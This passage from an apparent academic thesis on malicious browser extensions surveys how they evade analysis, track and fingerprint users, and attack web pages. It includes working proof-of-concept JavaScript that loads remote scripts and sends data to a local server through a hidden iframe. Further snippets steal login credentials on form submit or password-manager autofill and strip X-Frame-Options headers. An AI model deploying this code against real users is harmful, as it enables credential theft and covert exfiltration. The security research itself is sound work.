A concrete web page alone is often not enough to trigger potential malicious behavior. The extension queries the web pages's DOM to find specific elements. To trigger these queries, dynamic analysis tools use so called *honeypages* [29, 26]. The developer have overridden the DOM query methods to create the queried element on-the-fly. Therefore, the extension will always find targeted elements and execute potential attacks. But this approach has also its disadvantages. A extension may use it to detect the dynamic analysis. It queries a random element which is very unlikely to exists in a real-life scenario. If it finds the element, it has a strong evidence that it is currently the target of a dynamic analysis and may switch to a non-suspicious behavior.

A developer that stores his malicious implementation plain in the extensions source code is likely to be detected. Even a reviewer that only performs a manual code analysis is able to detect the malicious implementation. Therefore, the developer will certainly use some technique to hide his implementation. In this section, we present several approaches to prevent malicious behavior from being exposed by an extension analysis.

5.1.1 Code Obfuscation

Code obfuscation describes the transformation of a program's source code into a form in which it takes more time to analyze it's capabilities and purpose than in it's original state but without changing the execution result. Strong obfuscation is not or only with great expense reversible.

It was originally developed to protect a developer's implementation from code plagiarism. Other developers should not be able to understand the concrete implementation of the program or algorithm. Nowadays, it is often used to hide malicious behavior from detection. Code obfuscation changes the code's structure and therefore prevents the detection of known code pattern. It also changes the application's binary representation which is often used by anti-virus software to identify known threats. A simple method of code obfuscation is to change the order of methods in the source code. This results in a different binary representation for each order but still gives the same result after execution.

Code obfuscation is used in programing languages without a strict syntax. The first languages for which obfuscation was used were C and C++. JavaScript is suited for obfuscation due to it's very lax syntax. Many open source libraries and tools exist to obfuscate JavaScript [46, 25, 27]. Because JavaScript files are not compiled into machine code but directly executed in the browser, obfuscation takes place in the source code and often enlarges it. This fact is used by

detection tools. For example, *WebEval* detects obfuscation by comparing the original source code to a prettified version [26]. If the original code was obfuscated, the difference of the line size between both versions is conspicuous larger.

Code obfuscation should not be confused with minification or encryption. Minification targets to decrease the size and hence the download time of JavaScript files. It is often implemented as a script which prints the original script. Although the minimized JavaScript code is not readable by the human eye, its execution returns the original source code. This fact renders minification useless as an obfuscation technique. Similar, encrypted code is unreadable not only to a human but also to the compiler. Consequently, encryption can not be used as an obfuscation technique because obfuscated code has still to be executable.

There exists many techniques used for JavaScript obfuscation. The following list shows a subset of common techniques with a brief description and code examples. Detailed explanations are found in several research papers [23, 52, 31].

- **Random Noise** The JavaScript compiler ignores several sections of the source code such as comments, whitespaces, indenting, and linefeeds. Adding those in a random manner does not change the semantics of the source code but changes it's binary representation and hampers content matching.

```
1 var/*foo*/add/*bar   foo*/
2 =//   3;
3 /* 1 2 3*/   function   (x
4 ,   y//   return( x );// foo
5 )   {   return/*bar*/(x+/*
6 y);   */   y   ;} // alert('1');
```
- **Reassign Functions** Reassigning function names seizes the assurance that a function with a known and standardized name is actually the expected function implementation. In our example, we reassign the `eval` function to the standardized `unescape` function on line 1. A simple static analysis that does not keep track of all variable and function assignments will not recognize the call to the `eval` function on line 2.

```
1 unescape = eval;
2 unescape('document.write("secret")');
```
- **Random Symbol Names** Replacing the names of variable, functions, and object elements with non-meaningful names hampers manual analysis and removes further information which facilitate the comprehension of the source code.

```
1 function jf21f(2jd2, k201) {
2     return(2jd2 + k201);
3 }
4 var 2eh90 = jf21f(2,4);
```
- **String Splitting** Splitting strings in the source code in several parts hides code words and hampers content matching. The string parts are stored inside arrays and concatenated at run time. To add more confusion, the exact position of each part is often determined by arithmetic calculations. Our example prints the string *"Hello World"*.

```
1 var y = ['d', 'W', 'l', 'He', '', 'r', 'o'];
2 alert(y[3] + y[6-5+1] + y[2]
3       + y[y.length - 1] + y[2*2]
4       + y[y.length - 6] + y[6]
5       + y[3+2] + y[1*2] + y[0]);
```
- **String Encoding** To hide strings even more, they are stored encoded. The hexadecimal representation (e.g.: `\x43`) is often used because the JavaScript compiler decodes them automatically at runtime. Other approaches use the method `Number.toString(radix)` which returns a string representation of the numeric value in the specified radix. This allows to encode single characters with numeric values. For example, if we use a radix of 36, we can encode all lowercase characters from `(10).toString(36)` returns *"a"* to `(35).toString(36)` returns *"z"*.

```
1 var y = ['\x64', '\x57', '\x6c', '\x48\x65',
2         '\x20', '\x72', '\x6f'];
3 alert(y[3] + y[6-5+1] + y[2]
4       + y[y.length -1] + y[2*2]
5       + y[y.length - 6] + y[6]
6       + y[3+2] + y[1*2] + y[0]);

1 alert((15).toString(18)
2       + (24).toString(26)
3       + (24).toString(31));
```

- **Array Subscript Notation** Commonly, elements of objects in JavaScript are accessed with the dot notation `object.element` whereas element may also be a function. Using the array subscript notation `object['element']` allows us to call functions based on string values. This in combination with string encoding or string splitting gives us the opportunity, to hide the name of the called function. Our example calls the constructor of the `Array.sort()` function `new Function()` which is equal to `eval`.

```
1  [['sort']['constructor']](alert(1))();
```

- **Dead Code** Adding code sections which will never execute does not change the semantics or the execution time. A static analysis tool will not remove the dead code if it relies on opaque conditions which are never true but based on values from the original source code. The tool will analyze every possible execution path.

```
1  function add(x, y) {
2      if(x > 0 && y != 0 && x / y == 0) {
3          for(int i = 0; i < y; i++) {
4              x = i < x ? y + 2 : x - 3;
5          }
6      }
7      return(x + y);
8  }
```

Code obfuscation only hampers static analysis. Content matching does not work properly in obfuscated code and approaches for static information flow such as VEX were implemented only for unobfuscated code [14]. Because obfuscation does not change the code's execution, dynamic analysis still detects malicious behavior in obfuscated JavaScript sources.

5.1.2 Remotely Loaded Scripts

Another possibility to hide a malicious code snippet is to load it from a remote server and execute it at runtime. The code is not present in the extension's installation and can therefore not be detected by a static analysis.

An extension has several possibilities to load a remote script. HTML pages which are bundled in the extension's installation can include `<script>` elements with a `src` attribute pointing to a remote server. If the extension is executed and the page is loaded, the browser automatically loads and executes the remote script. This mechanism is often used to include public scripts for example from Google Analytics.

A `WebExtension` needs to explicit state that it wants to fetch remote scripts in its background page. The default Content Security Policy disables the loading of scripts per script element which have another origin than the extension's installation. We can relax the default CSP and enable the loading of remote scripts over HTTPS by adding an URL pattern for the desired origin.

Extensions are able to load resources with a `XMLHttpRequest`. If called from a content script, the `XMLHttpRequest` will be blocked by the Same Origin Policy if the target does not match the current web page's origin. However, the same restriction does not apply to the extension's background. If the `XMLHttpRequest` is executed from within the background process, any arbitrary host is allowed as target.

Again, `WebExtensions` underly a further restriction. Only if a matching host permission is declared in the extension's manifest, the browser will allow the web request. The attacker has to declare an URL pattern which matches his remote server. To disguise the concrete URL of his remote server, the attacker may take use of the pattern `http://*/*` and `https://*/*`.

The JavaScript extract in Code Extract 1 shows how to fetch a remote script with an `XMLHttpRequest`. On the first line, we create a new `XMLHttpRequest` object. This is a standardized API and available to JavaScript in all current browsers [49]. The event handler on line 2 till 6 that listens to the `onreadystatechange` event, handles the response from our request. In our case, the response will be our remote loaded script. We have to check whether the `readyState` equals 4, which indicates that the operation is done and the response is loaded. The `open` method on line 7 defines the request type and the target URL and finally on line 8 we execute the request. The `send` method could take a message that would be sent as a parameter along the request. In our case, this is not necessary because we only want to fetch a resource.

Before we can execute a remote loaded script, we have to consider what the scripts objectives are. Whether it should act in the extension's background or as a content script. If the first case applies, we can use the JavaScript method `eval` to execute the remote loaded text as a JavaScript application. The use of `eval` is frowned upon because it is a main source of XSS attacks if not used correctly [10]. On that account, the default CSP of a `WebExtension` disables the use of `eval` in its background process. We can relax the default policy and add the key `unsafe_eval` to lift the restriction.

```
1 var xhr = new XMLHttpRequest();
2 xhr.onreadystatechange = function() {
3     if (xhr.readyState == 4) {
4         handleScript(xhr.responseText);
5     }
6 }
7 xhr.open('GET', 'https://localhost:3001/javascripts/simple.js');
8 xhr.send();
```

Code Extract 1: Load remote script with a XMLHttpRequest

If we want to execute the remote loaded script as a content script, we can programmatically inject it. A WebExtension can use the method `chrome.tabs.executeScript` to execute a given string as a content script in a currently open tab. To use this feature, the extension needs the `tabs` permission. This permission is also granted, if the extension uses the `activeTab` permission but with the drawback that we can only inject the script if the user invokes the extension. A Firefox Add-on can inject the script in an open tab with the method `require("sdk/tabs").activeTab.attach`. But other than WebExtensions, it can also register a content script with an URL pattern at runtime using the `sdk/page-mod` module.

If we want to execute a remote loaded script only in the scope of a web page, we can take use of the DOM API. It allows us to add a new script element to the current web page. If we set the `src` attribute of the script element to the URL of our remote server, the browser will fetch and execute the script for us. As a proof of concept, we implemented a WebExtension that executes the content script shown in Code Extract 2 in any web page without the need for further permissions. The content script creates a new script element, sets the element's `src` attribute to the URL of our remote server and appends it to the web page's body. The remote loaded script is immediately executed.

```
1 var script = document.createElement('script');
2 script.setAttribute('src', 'https://localhost:3001/javascripts/simple.js');
3 document.body.appendChild(script);
```

Code Extract 2: Content Script that executes a remote loaded script

A dynamic analysis will detect remote loaded scripts. It analyzes the extension at runtime, hence while the remote loaded scripts are present. Some approaches can also be detected by a static analysis. For example script elements that fetch a remote script at execution are easily to detect and contain the full URL.

5.1.3 Mutual Extension Communication

An extension is able to communicate with another extension. This opens the possibility of a permission escalation as previously described by Bauer et al. [16]. The extension which executes the attack does not need the permissions to fetch the malicious script. Another extension can execute this task and then send the remote script to the executing extension. This allows to give both extensions less permissions and thus making them less suspicious especially for automatic analysis tools. To detect the combined malicious behavior, an analysis tool has to execute both extensions simultaneously. This is a very unconventional approach, because an analysis often targets only a single extension at a time.

A communication channel that does not need any special interface can be established over any web page's DOM. All extensions with an active content script in the same web page have access to the same DOM. The extensions which want to communicate with each other can agree upon a specific DOM element and set its text to exchange messages. Another way to exchange messages is to use the DOM method `window.postMessage`. This method dispatches a message event on the web pages window object. Any script with access to the web page's window object can register to be notified if the event was dispatched and then read the message.

The code shown in Code Extract 3 and Code Extract 4 is an example how to use this method. In Code Extract 3 we add an event listener to the window object that listens to the message event. The event handler method awaits the key `from` to be present in the event's data object and the value of `from` to equal `extension`. We use this condition to identify messages which were dispatched by an extension. Further, the handler awaits that the message from the other extension is stored with the message key. In Code Extract 4 we create our message object with the key-value pairs `'from': 'extension'` and `'message': 'secret'` and call the `postMessage` method with our message object as first parameter. The second parameter

defines what the origin of the window object must be in order for the event to be dispatched. In our case, the web page and all content scripts share the same window object. Therefore, a domain check is unnecessary and we use a wildcard to match any domain.

```
1 window.addEventListener('message', function(event) {
2     if(event.data.from && event.data.from === 'extension') {
3         handle(event.data.message);
4     }
5 });
```

Code Extract 3: Event handler for the `postMessage` method

```
1 var message = {
2     'from' : 'extension',
3     'message': 'secret'
4 }
5 window.postMessage(message, '*');
```

Code Extract 4: Call of the `postMessage` method

5.2 Targeting

If we are able to identify the current user, we can exchange an otherwise benign script with a malicious one or add malicious behavior to an existing script.

We have previously described the advantage of identifying the current user. If it was successful, we can exchange an otherwise benign script with a malicious one. This allows us to bypass dynamic analysis tools such as Hulk or WebEval and target specific users [29, 26]. In this section, we will describe methods to identify the current user and how an extension can execute or even support these methods.

5.2.1 User Tracking

User tracking refers to the linking of multiple web pages that were visited by the same user, thus allowing to follow the path a user has taken from website to website. User tracking is known to harm the user's privacy and to counter attempts to stay anonymous when browsing in the Internet. But there are also benign reasons for user tracking, for instance improving the usability of a website based on collected information.

Advertising is the main reason for user tracking. Companies pay large amounts of money to display advertisements for the purpose of increasing their sales volume. Without knowledge about the consumer's interest, a company can not advertise a particular product with success. A consumer is more likely to buy a product - what the goal of advertising is - that fits his needs. Therefore, companies want to collect information about the consumer and his interests. Given, that more and more consumer use the Internet nowadays, companies focus on websites as advertising medium. The collection and evaluation of a website's user data gives advertising companies the chance to personalize their advertisements. They can display advertisements on websites that with a high degree of probability match the current user's needs. Because this advertising strategy increases their profit, companies pay more money to websites that provide their user data for personalized advertising. Large companies such as Google or Facebook use targeted advertising as their business model. They act as middle man between advertiser and website hosts and provide large advertising networks. Other websites may embed advertisements from those networks which frees them from investing in user tracking and hosting their own servers for advertising. In addition, small websites without a monetization strategy may use embedded advertisements to continue to offer their services for free and still avoid a financial loss.

A reason why the displaying of advertisements may be dangerous for a user was researched by Xinyu Xing et al. They analyzed Chrome extensions focused on the distribution of malware through the injection of advertisements [51]. They analyzed 18,000 extensions and detected that 56 of 292 extensions which inject advertisements also inject malware into web pages.

Another area for which user tracking is used are web analytics. User data and web traffic is measured, collected, and analyzed to improve web usage. Targeted data is primarily the user's interaction with and movement through the website such as how long a web page is visited, how the user enters and leaves the website, or with which functionality he has trouble. On the basis of these information the website's developer can improve a web page's performance and usability. If used for a vending platform, these information can also be used to coordinate for example sale campaigns.

The tracking of a user is often accomplished by storing an identifier on the user's system the first time the user visits a tracking website. Reading out the identifier from another website allows to create a tracking profile for the user. In the following list we will describe several methods used for user tracking.

- **Tracking Cookies** The first web technology used to track users were HTTP cookies. Shortly after the introduction of cookies, first third-party vendors were observed that used cookies to track users between different web pages. If a user visits a web page that includes a resource from the tracking third-party, a cookie is fetched together with the requested resource and acts as an identifier for the user. When the user now visits a second web page that again includes some resource from the third-party, the stored cookie is send along with the request for the third-party's resource. The third-party vendor has now successfully tracked the user between two different web pages.
- **Local Shared Objects** Flash player use a technique similar to cookies to synchronize data between different browser sessions. The data is locally stored on the user's system by websites that use flash. Flash cookies as tracking mechanism have the advantage that they track the user behind different browsers and they can store up to 100KB whereas HTTP cookies can only store 4KB. Before 2011, local shared objects could not easily be deleted from within the browser because browser plugins hold the responsibility for their own data. In 2011 a new API was published that simplifies this mechanism [13].
- **Evercookies** Evercookie is a JavaScript framework implemented to produce persistent identifiers in a browser that are difficult to remove [28]. For that purpose, it uses multiple storage technologies such as HTTP and Flash cookies, HTML5 storages, web history and cache, and unusual techniques such as storing the identifier in RGB values of cached graphics. To hamper the removing from a browser, it recreates deleted identifiers as soon as the user visit a web site that uses the framework. The user has to delete every stored identifier to remove the evercookie completely.
- **Web Beacon** A web beacon is a remote loaded object that is embedded into an HTML document usually a web page or an email. It reveals that the document was loaded. Common used beacons are small and transparent images, usually one pixel in size. If the browser fetches the image it sends a request to the image's server and also sends possible tracking cookies along. This allows websites to track their user on other sites or gives the email's sender the confirmation that his email was read. An example is Facebook's "like" button or similar content from social media websites. Those websites are interested into what other pages their users visit. The "like" button reveals this information without the need to be invoked by the user.

5.2.2 Fingerprinting

Previously described methods for tracking a user identify him based on some data which was intentionally stored on the user's system. Those stored identifiers are vulnerable to deletion by the user. A study from 2010 showed that a browser reveals many browser- and computer-specific information to web pages [22]. These information are collected and merged to create an unique fingerprint of the currently used browser. Collecting the same information on another web page and comparing it to stored fingerprints, makes it possible to track and identify the current user without the need to store an identifier on the user's computer. Theoretically, it is possible to identify every person on earth with a fingerprint in the size of approximately 33 bit. Currently eight billion people live on our planet. Using 33 bit of different information we could identify $2^{33} = 8,589,934,592$ people. But the same kind of information taken from different users will probably equal. Therefore, it is necessary to collect as much information as possible to create an unique fingerprint.

The technique of fingerprinting is an increasingly common practice nowadays which is mostly used by advertising companies and anti-fraud systems. It gives the opportunity to draw a more precise picture of a user. This is supported by the increasing use of mobile devices which provides information about the user's location. Furthermore, analyzing visited web pages and search queries give access to the user's hobbies and personal preferences. Advertising companies focus mainly on the user's personal information to display even more precisely adapted advertisements. Whereas, anti-fraud systems use the identification of the currently used devices to detect possible login tries with stolen credentials. If someone tries to log in to an account, the anti-fraud system compares the fingerprint of the currently used device with

stored fingerprints for that account. If the fingerprint does not match, the user either uses a new device or someone unknown got access to the user's credentials. In this case, the web services often use further identification techniques such as personal security questions or similar.

People fear that the gathering and storing of many personal information turns them and their personal life transparent. Big companies such as Google or Facebook sell the user personal information, hence anyone may obtain it.

Fingerprinting is known to harm the user's privacy even more than simple tracking. Fingerprinting companies collect information from many different sources including many personal information, too. Big companies such as Google or Facebook sell these information. People fear that everything they do on the Internet is stored and may be used to harm them. This scenario is similar to a data retention for which politicians started several attempts to legalize it. The main reason for those who support data retention is the fight against crime and terrorism. Although their motives are respectable, people fear that the stored information will not remain in the hands of the government but goes in the hands of companies. The worst case scenario for the user is the same as for fingerprinting. He and his actions on the Internet will turn transparent for anyone who buys the information.

For example may a health insurance increase contributions because the insurant often books journeys to countries with a higher risk of an injection or a worker is accused to reveal company secrets because he often communicates with a friend who works for the competition and fired as a result.

There exists numerous scientific papers about fingerprinting techniques [44, 36, 39, 22, 37, 40]. Because detailed descriptions are off topic for our paper, we focus on a brief description of popular methods.

- **Browser Fingerprinting** The browser provides a variety of specific information to a web page that can be used to generate a fingerprint of the user's browser. The following list shows examples of fingerprinting properties and how to access them using JavaScript.

Property	JavaScript API	Example Output
System	<code>navigator.platform</code>	"Win32"
Browser Name	<code>navigator.userAgent</code>	"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0"
Browser Engine	<code>navigator.appName</code>	"Netscape"
Screen Resolution	<code>screen.width</code> <code>screen.height</code> <code>screen.pixelDepth</code>	1366 (pixels) 768 (pixels) 24 (byte per pixel)
Timezone	<code>Date.getTimezoneOffset()</code>	-60 (equals UTC+1)
Browser Language	<code>navigator.language</code>	"de"
System Languages	<code>navigator.languages</code>	["de", "en-US", "en"]

- **Fonts** The list of fonts available to a web page can serve as part of a user identification. The browser plugin Flash provides an API that returns a list of fonts installed on the current system. As per current scientific works, the order of the fonts list is stable and machine-specific. If the Flash plugin is not available in a browser, JavaScript can be used to test whether particular fonts are installed or not. This approach needs a predefined list and may not cover unpopular fonts. It is implemented by writing a string with each font on the web page. If a font is not installed, the browser uses a fall-back font to draw the text. Comparing the width and height of the drawn font to those of the fall-back font gives an evidence about the font being installed.
- **History Sniffing** Reading out the user's web history can not only serve as fingerprinting method but also to simplify user tracking. The attacker An outdated approach to test if a user has visited a particular web page was to use the browser's feature to display links to visited web pages in a different color. A web site would hidden from the user add a list of URLs to a web page as link elements and determinate the displayed color. Nowadays, link elements that were queried by JavaScript calls behave like unvisited links fixing the thread from this sniffing attack. A current approach detects the redrawing of link elements to determine if the underlying web page was visited before [44]. If a link is drawn the first time, it is drawn as an unvisited link and simultaneously a query to the browser's web history database is send. When the query returns that the web page behind the link was visited before, it redraws the link element. This event can be captured giving the desired evidence.
- **JavaScript Benchmark Testing** The execution speed of a JavaScript engine depends on the implementation but also on the systems processor architecture and clock speed. Keaton Mowery et al. implemented a set of benchmark test suits to fingerprint different execution speeds [36]. Using these information, they could distinguish between major browser versions, operating systems and micro architectures.

5.3 Communication

An important part for browser attacks is the communication between the malicious extension and the attacker. We have already shown that we can load scripts from remote servers. In this section, we focus on communication to prepare or execute attacks.

We can use the `XMLHttpRequest` to send data to a remote server. We have previously shown in Code Extract 1, that we can fetch a remote script with an `XMLHttpRequest`. A similar implementation can be used to send any information to a server. Only the method that handles the response needs to be adapted. In our implementation, we used the code shown in Code Extract 5 to send a message to our remote server. Similar to Code Extract 1, we first create a new `XMLHttpRequest` object and set the request type and the target URL. Because we only want to send information out and do not care about the response, we do not need to declare a response handler like the implementation in Code Extract 1 on line 2 till 6. Instead, we have to set the request's *Content-type* header. This allows our server to correctly decode the web request's message. We decided to use the standard URL notation [48]. Finally, we deliver our message to the `send` method which executes the request.

```
1 var xhr = new XMLHttpRequest();
2 xhr.open('POST', 'https://localhost:3001/log');
3 xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
4 xhr.send(message);
```

Code Extract 5: Send data to a remote server with a XMLHttpRequest

Another strategy to transfer information to a remote host was described by Liu et al. [34]. They analyzed possible threats in Chrome's extension model through malicious behavior and conducted that an extension can execute HTTP requests to any arbitrary host without cross-site access privileges. For that purpose, they used the mechanics of an *iframe* element. Its task is to display a web page within another web page. The displayed web page is defined by the URL stored inside the *iframe*'s *src* attribute. If the URL changes, the *iframe* reloads the web page. Adding parameters to the URL allows to send data to the targeted server. As a proof of concept, we implemented the content script shown in Code Extract 6 to send data to our remote server. It creates a new *iframe* element, hides it by setting the *iframe*'s display style to none, and appends it to the web page's body. The function `send(data)` expects a string in the standard URL notation [48]. We append the current web page's URL to the outgoing data to later identify the origin of the transmitted information. Finally, we set the *src* attribute of our *iframe* element to execute the web request.

```
1 var iframe = document.createElement('iframe');
2 iframe.setAttribute('style', 'display: none;');
3 document.body.appendChild(iframe);
4
5 function send(data) {
6     data += "&url=" + encodeURIComponent(window.location.href);
7     iframe.setAttribute('src', 'https://localhost:3001/log?' + data);
8 }
```

Code Extract 6: Content script that sends data to a remote server using an iframe element

The Same Origin Policy creates a boundary between the *iframe* and its parent web page. It prevents scripts to access content that has another origin than the script itself. Therefore, if the web page inside the *iframe* was loaded from another domain as the parent web page, the *iframe*'s JavaScript can not access the parent web page and vice versa. This boundary does not prevent an extension to access information in an *iframe*. The extension can execute a content script in every web page hence in the *iframe*'s web page, too. This allows us to use the content script in Code Extract 6 for a two way communication channel. Executing a second content script inside the *iframe*, allows us to read information which our server has embedded inside the fetched web page.

In previous researches, Liu et al. implemented extensions for major browsers that can be remote controlled to execute web based attacks such as Denial of Service or spamming. [33, 34]. To control the extensions and send needed information such as the target for a DoS attack or a spamming text, the attacker has to communicate with his extensions. Liu et al. use the automatic update of extensions for that purpose. The browser checks for any extension update on startup

and periodically on runtime. The attacker can distribute an attack by pushing a new update and the extension can read commands from a file in its bundle. This communication channel is more stealthy than previous approaches because no web request is executed between the extension and the attacker. The update process is a legitimate function of the browser and therefore it does not trigger any anti-virus software.

5.4 Attack Vectors

5.4.1 Accessing The Web Page

An extension has full access to the displayed web page and its DOM. It can read any information and modify the web page in any arbitrary way. A malicious extension can misuse this access and execute several attacks with the use of a content script. To execute the content script in any web page, the attacker may use the URL pattern `http://*/*`, `https://*/*`, or `<all_urls>`. We present some general attack scenarios in the following list.

- **Steal User Data From Forms** Any information the user transmits over a form in a web page is accessible for an extension. To steal this information, the extension adds an event listener which is dispatched when the user submits the form. At this time, the extension can read out all information that the user has entered in the form. This approach gives the attacker access to the user's personal information such as his address, email, phone number, or credit card number but also to identification data such as social security number, identity number, or credentials. Especially username and password for website login are typically transmitted over a form.
- **Steal Displayed User Data** Any information about the user that a web page contains is accessible for an extension. To steal this information, the attacker has to explicitly know where it is stored in the web page. This is mostly a trivial task, because most web pages are public and the attacker is therefore able to analyze the targeted web page's structure. To target a specific HTML element, the attacker needs a proper CSS selector. For that purpose, he can use the developer console which is provided by current browsers such as Chrome, Firefox, or Opera. With this attack, an attacker is able to obtain a broad range of different information such as the user's financial status from his banking portal, his emails and contacts, his friends and messages from social media, or bought items and shopping preferences.
- **Modify Forms** An extension can add new input elements to a form. This tricks the user into filling out additional information that are not necessary for the website but targeted by the attacker. For that purpose, the extension adds the additional input fields to the form when the web page loads, steals the information when the user submits the form, and removes the additional fields afterwards. The last step is necessary because the web application would return an error the form's structure was modified. This attack will succeed if the user does not know the form's structure beforehand. To decrease the probability that the user knows the form already, the extension can determinate whether or not the user has visited the web page to an earlier date before executing the attack.
- **Modify Links** An extension can modify the URL of a link element to redirect the user to another web page. This page may be malicious and infect the user's device with malware or it may be a duplicate of the web page to which the link originally led and steal the user's data. But the attacker may also enrich himself through the extension's users. Some companies pay money for every time someone loads a specific web page. The attacker can redirect the user to this web page and gain more profit.

Lujo Bauer et al. described several attacks for WebExtensions and implemented them as a proof of concept. They focused on stealing credentials which the browser has stored for the user. An WebExtension with the host permissions `https://*/*` and `http://*/*` can open any other web page. For instance with the method `chrome.tabs.update` which is not restricted by any permissions.

[16] many attacks for web extension sorted by permissions, implemented each attack as proof of concept, host permission `http://*/*`, can load other web pages by e.g. `chrome.tabs.update` which is not restricted by the tabs permission, if browser has stored auto fill data extension can steal them, load other web page in current tab is very suspicious, more stealthy by loading web page in inactive tab or even in other window which is currently in background, these information can be accessed with the `chrome.tabs` API and do not need the tabs permission too, other stealthy approach is to use an iframe, can be hidden from the user by loading in background tab, invisible or very small, webextension needs `all_frames` option for content scripts to execute content script in iframe, including `all_frames` does not cause additional warning, many web pages set `X-Frame-Options` header to disallow being opened in iframe, they implemented an extension that sets the security header to `ALLOW` using the `webRequestBlocking` permission and API, user tracking

and identifying with an extension, reading user information such as facebook name, email addresses or other sensitive data, cross devices tracking if extension is installed on multiple devices, check same username used on different devices, tracking mouse movements and key input using document events, history sniffing with history permission

5.4.2 Execute Web Attacks

[33, 34] bot net, password sniffing, DoS attack and spamming, DoS either by XHR or DOM, webextension: XHR needs host permissions, spamming uses user's email account, catches credentials if user logs into email account, sends emails on behalf of user, stealthy because many different email addresses are used for spamming and spamming is distributed in time,

A botnet is a network consisting of multiple compromised clients which can be controlled remotely. They are mostly used to execute large scaled cyber attacks such as Distributed Denial of Service (DDoS) or spamming. In recent times, botnets are also used to harvest social media valuations such as Facebook's likes. The controller of such a botnet - also called bot master - sales these valuations to thousands and executes them with the social media accounts which are used on the compromised machines. With the same manner, the bot master can execute DDoS attacks to make a web service unavailable for the general public. This is achieved by overwhelming the server's capacities with requests. Either targeting the network and flooding it's bandwidth or the application itself using up all of the computer's CPU resources. A simple Denial of Service (DoS) attack calls the targeted web service numerous times a second from a single origin. If the attacker uses a botnet, he is able to perform the DoS attack from multiple devices simultaneously which results in an ever bigger overwhelm at the targeted server.

Extensions may be used as a bots. They are hosted on many different computers and can execute web requests. Extensions that act as a bot where previously researched for Internet Explorer, Firefox and Chrome [33].

5.4.3 Intercept Requests

The Man-in-the-browser (MITB) is a browser based attack related to man-in-the-middle attack (MITM) [20]. It intercepts and alters web traffic to simulate a false environment for the user where his interactions will harm himself.

The MITM is an attack scenario in computer cryptography against a direct communication between two parties where the attacker secretly gains access to the exchanged messages. This gives him the opportunity to either steal desired information or alter the communication. If he alters the traffic in the right way, he is able to impersonate one party and deceive the other one to think the communication is still private. To gain access to the communication channel, an MITM attacker has to use vulnerabilities in obsolete cryptography algorithm or exploits in buggy implemented soft or hardware. An MITB attack on the other hand is located inside the browser from where it intercepts in and outgoing web requests. The attack will be successful irrespective of security mechanisms because it takes place before any encryption or authentication is applied.

An MITB attacker often manipulates the code base of a browser to perform his attacks and therefore needs access to the user's machine. A simpler realization of MITB attacks can be achieved using extensions. An extension can manipulate a web page to show false information and alter outgoing web requests without knowledge of the user. It is a part of the browser itself and therefore obviates the need to manipulate the browser's code base which also decreases the probability of discovery.

A simple MITB attack scenario using an extension: The user logs into the online platform of his bank to perform a transaction. He enters needed information into the provided form and submits it back to the bank's server. The extension reads the outgoing web request and changes the target account and rises the transfer amount. The banking system will not recognize the manipulated request. It will trust to request because the communication channel is secured and the user was successfully identified. To review and check the transaction, the banking system sends back an receipt to the user. The extension intercepts the returning web request and changes the previously manipulated data back to its original state. The user does not recognize the manipulation at this point, too. To hamper such attacks, modern banking systems use an extra verification before they execute the transaction. It often consists a piece of information which comes from an external source. For example, a TAN generator calculates a values from the target account number, the transfer amount, and some data stored on the user's banking card. This would prevent our attack scenario, because the value which is entered by the user will not match the value calculated on the server and the extension can not access the information on the banking card to calculate the correct value itself.

5.5 Implementation

5.5.1 Steal Credentials

We implemented an extension that steals credentials from a login form. It uses two content scripts without the need for further permissions. The one shown in Code Extract 7 steals the credentials if the user submits the login form. The other one shown in Code Extract 8 steals the credentials if the browser's password manager has filled them in the login form. To send the stolen credentials to our remote server, we use the `send` method shown in Code Extract 6. Both content scripts start by querying an input field of type password and getting the proper form element. The content script in Code Extract 7 adds an event listener to the form element on line 4 which is triggered if the user submits the form. It then forwards the form's content to our `send` method in the proper format. The content script in Code Extract 8 checks if the password element's value is not empty on line 5 and forwards the form's content in that case to our `send` method on line 6. We delay the execution of line 5 and 6 with the `setTimeout` function to give the password manager enough time to fill in the credentials.

```
1 var passwordElement = $('input[type="password"]');
2 if(passwordElement.length > 0) {
3     var form = passwordElement.closest('form');
4     form.submit(function(event) {
5         send(form.serialize());
6     });
7 }
```

Code Extract 7: Content Script that steals credentials from a login form if the user submits the form.

```
1 var passwordElement = $('input[type="password"]');
2 if(passwordElement.length > 0) {
3     var form = passwordElement.closest('form');
4     setTimeout(function() {
5         if(passwordElement.val() != "") {
6             send(form.serialize());
7         }
8     }, 500);
9 }
```

Code Extract 8: Content Script that steals credentials from a login form if the browser's password manager has filled in the credentials.

Furthermore, we implemented several extensions that open predefined login web pages to steal probably stored credentials from the browser's password manager. Different strategies to hide the loading of a new web page were previously discussed by Lujo Bauer et al. [16]. We implemented three described techniques:

1. Load the targeted web page in an invisible iframe inside any web page.
2. Load the targeted web page in an inactive tab and switch back to the original web page after the attack has finished.
3. Open a new tab in an inactive browser window and load the targeted web page in this tab. Close the tab after the attack has finished.

The first technique is the least reliable one. There exists several methods to enforce that a web page is not displayed in an iframe. The standardized approach is to use the `X-Frame-Option` HTTP header which is compatible with all current browsers [43, 35]. This transfers the responsibility to enforce the policy to the browser. Other approaches use JavaScript to deny the web page's functionality if it is loaded in an iframe or simply move the web page from the iframe to the main frame.

Our implementation removes the X-Frame-Option from any incoming web request to be able to load particular web pages into an iframe and steal probably stored credentials. For that purpose, our extension needs the permissions "webRequest", "webRequestBlocking", "https://*/*", and "http://*/*". Our implementation of this part is shown in Code Extract 9. We use the `chrome.webRequest` module to add an event listener that is triggered when the browser receives HTTP headers for a response. The `addListener` method on line 1 takes additional arguments on line 9. These define that the listener is triggered on any URL that matches `https://*/*` or `http://*/*`, the request is blocked until the listener finishes, and the listener has access to the response's headers. Our listener iterates over the headers, compares if the header's name equals `x-frame-options`, and removes the header in this case.

To open a particular web page in an iframe, we use a content script with the `any_frame` option which enables the content script in iframes, too. The content script is shown in Code Extract 10. It checks whether or not it is currently active in the main frame on the first line. If it is active in an iframe, we use the implementation shown in Code Extract 8 to steal the probably stored credentials. If the content script is currently active in the main frame, we send a message to the extension's background to retrieve an URL. This is necessary because the content script itself can not store data - in our case a list of URLs - between different instances of itself. On line 4 till 7 we create a new iframe, make it invisible, set its source attribute to the given URL, and add it to the document's body.

```
1 chrome.webRequest.onHeadersReceived.addListener(function(details) {
2     details.responseHeaders.forEach(function(header, index){
3         if(header.name.toLowerCase() === "x-frame-options"){
4             details.responseHeaders.splice(index,1);
5         }
6     });
7     return({responseHeaders: details.responseHeaders});
8 },
9 {urls: ['https://*/*', 'http://*/*'], ['blocking', 'responseHeaders']});
```

